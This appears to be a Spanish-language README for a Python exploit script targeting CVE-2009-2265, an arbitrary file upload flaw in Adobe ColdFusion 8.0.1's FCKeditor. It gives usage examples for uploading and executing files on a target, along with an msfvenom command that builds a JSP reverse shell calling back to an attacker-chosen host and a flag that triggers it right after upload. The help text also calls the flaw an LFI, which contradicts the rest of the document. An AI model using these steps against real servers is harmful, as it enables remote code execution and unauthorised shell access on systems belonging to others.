
cf8-upload.py | CVE-2009-2265
un script de python3 para explotar CVE-2009-2265.
el script explota una vulnerabilidad encontrada en FCKeditor < 2.6.4.1 que fue implementada en adobe coldfusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
el script permite al usuario enviar un archivo para subir a un equipo objetivo
que ejecuta coldfusion 8.0.1 y ejecutarlo.
pip3 install requests
Después de identificar un objetivo que ejecute adobe coldfusion 8.0.1, ejecútalo con:
chmod +x cf8-upload.py
./cf8-upload.py -h
o
python3 cf8-upload.py -h
la opción -h o --help muestra cómo ejecutar el script con algunos ejemplos. hay dos argumentos posicionales y algunos argumentos opcionales.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
adobe coldfusion usa el puerto 8500 por defecto, pero se debe especificar la ruta completa al servidor al ejecutar el script.
una instalación por defecto de coldfusion puede residir en el directorio raíz en el puerto 8500, en cuyo caso x.x.x.x:8500 probablemente sea suficiente para el argumento address al ejecutar el script.
cf8-upload.py por defecto imprime en color y con formato adicional en la salida del terminal, sin embargo esto no siempre es útil para quienes usan lectores de pantalla. usar el argumento --accessible desactivará el formato decorativo y el color de la salida del terminal. también desactivará el arte ASCII.
este indicador hace que el script realice una petición get al archivo, y solo después de que se haya subido correctamente. esta opción es útil si el usuario está subiendo una reverse shell de algún tipo a la aplicación vulnerable y desea activarla inmediatamente. el contenido de la petición get no se imprime en el terminal y solo sirve para activar el evento en el servidor.
adobe coldfusion puede leer archivos .jsp, por lo que se puede crear una reverse shell en msfvenom con algo tan simple como:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
y subirla:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
la aplicación adobe coldfusion 8.0.1 puede no tener la capacidad de sobrescribir archivos existentes que se suben con el script del exploit. en tal caso, subir un archivo diferente con el mismo nombre que un archivo subido previamente puede provocar timeouts durante el proceso de subida.
puede que necesites renombrar el archivo que quieres subir a otro nombre antes de intentar volver a subirlo.
el script fue principalmente un ejercicio para crear un programa corto, completo y autónomo para un solo exploit, pensando tanto en la legibilidad como en la accesibilidad.
https://skerritt.blog/a11y/ - implementación de accesibilidad.